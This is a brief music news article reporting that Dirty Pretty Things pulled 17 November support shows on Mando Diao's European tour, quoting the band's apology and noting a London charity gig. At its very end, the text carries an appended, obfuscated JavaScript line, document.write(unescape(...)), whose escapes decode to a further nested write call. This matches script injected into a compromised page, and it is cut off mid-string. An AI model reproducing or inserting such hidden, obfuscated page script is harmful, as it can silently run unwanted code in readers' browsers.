Dirty Pretty Things pull European tour support

Dirty Pretty Things have pulled a string of upcoming European shows, due to "an unavoidable change in the band's schedule".

Carl Barat's band were scheduled to play 17 concerts across the continent in November, as support to Mando Diao.

However, they have now announced that the gigs have been pulled in an official statement on their website.

The statement reads: "We are sorry to announce that Dirty Pretty Things have had to cancel their support slot on Mando Diao's European tour due to an unavoidable change in the band's schedule.

"The band sincerely apologise for any inconvenience caused to those planning on going to any of the gigs and look forward to playing in Europe again soon."

The concerts were scheduled to take place in Germany, Switzerland, Austria, Holland and Luxembourg.

Dirty Pretty Things play the Coronet in Elephant & Castle, London, on September 13, in support of the Make Roads Safe campaign.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
